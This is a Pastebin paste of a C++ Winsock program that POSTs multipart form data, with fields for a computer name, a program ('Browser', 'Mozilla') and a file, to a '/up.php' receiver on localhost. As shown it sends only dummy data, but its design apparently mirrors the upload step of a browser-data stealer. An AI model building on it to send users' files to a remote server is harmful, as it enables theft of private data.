Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <winsock2.h>
- #include <string>
- #include <fstream>
- #include "windows.h"
- #include "stdio.h"
- using namespace std;
- #define PORT 80
- #define IP "127.0.0.1"
- #define HOST "locahost"
- #define RECEIVER "/up.php"
- #define COMPNAME "compname"
- #define PROGRAM "program"
- #define FILENAME "file"
- #define BOUNDARY "----------boundary"
- #define DUMMY_DATA "c2FzYXNhc2FzZGRmZGZkY2Q="
- #define DUMMY_FILE "ok.png"
- //------------------------------------
- string constructBody(string args[2], string file[2]);
- string readFile(string fileName);
- //------------------------------------
- int main() {
- // initiate the socket!
- SOCKET dataSock;
- WSADATA wsaData;
- int error = WSAStartup(0x0202, &wsaData);
- if (error != 0) {
- WSACleanup();
- exit(1); // oh shit, this shouldn't happen!
- }
- // all internets, engage!
- SOCKADDR_IN target;
- target.sin_family = AF_INET;
- target.sin_port = htons(PORT);
- target.sin_addr.s_addr = inet_addr(IP);
- dataSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (dataSock == INVALID_SOCKET) {
- exit(1); // Houston, we have a problem!
- }
- connect(dataSock, (SOCKADDR*)&target, sizeof(target));
- string programNames[5][2] = {{"Browser", "Mozilla"}};
- string file[2] = {FILENAME, "Default.txt"};
- for (int i = 0; i < 1; i++) {
- printf("Sending data for %s\n", (programNames[i][1]).c_str());
- string body = constructBody(programNames[i], file);
- char header[1024];
- sprintf(header, "POST %s HTTP 1.1\r\n"
- "Host: %s\r\n"
- "Content-Length: %d\r\n"
- "Connection: Keep-Alive\r\n"
- "Content-Type: multipart/form-data; boundary=%s\r\n"
- "\r\n", RECEIVER, IP, strlen(body.c_str()), BOUNDARY);
- // printf("%s\n\n", header);
- int p = send(dataSock, header, strlen(header), 0);
- // printf("p == %d\n", p);
- int k = send(dataSock, body.c_str(), strlen(body.c_str()), 0);
- // printf("k == %d\n", k);
- char buff[1024];
- recv(dataSock, buff, 1024, 0);
- printf("%s\n\n", buff);
- }
- closesocket(dataSock);
- WSACleanup();
- }
- string readFile(string fileName) {
- string fileContents;
- ifstream tmp(fileName.c_str());
- getline(tmp, fileContents);
- tmp.close();
- return fileContents;
- }
- string constructBody(string args[2], string file[2]) {
- string body;
- string CRLF = "\r\n";
- // first we add the args
- body.append("--"+string(BOUNDARY)+CRLF);
- body.append("Content-Disposition: form-data; name=\""+string(COMPNAME)+"\""+CRLF);
- body.append(CRLF);
- body.append(args[0]+CRLF);
- body.append("--"+string(BOUNDARY)+CRLF);
- body.append("Content-Disposition: form-data; name=\""+string(PROGRAM)+"\""+CRLF);
- body.append(CRLF);
- body.append(args[1]+CRLF);
- // now we add the file
- body.append("--"+string(BOUNDARY)+CRLF);
- body.append("Content-Disposition: form-data; name=\""+string(FILENAME)+"\"; filename=\""+string(DUMMY_FILE)+"\""+CRLF);
- body.append("Content-Type: media-type"+CRLF);
- body.append(CRLF);
- body.append(DUMMY_DATA+CRLF);
- body.append("--"+string(BOUNDARY)+"--"+CRLF);
- body.append(CRLF);
- // printf(body.c_str()); exit(0);
- return body;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement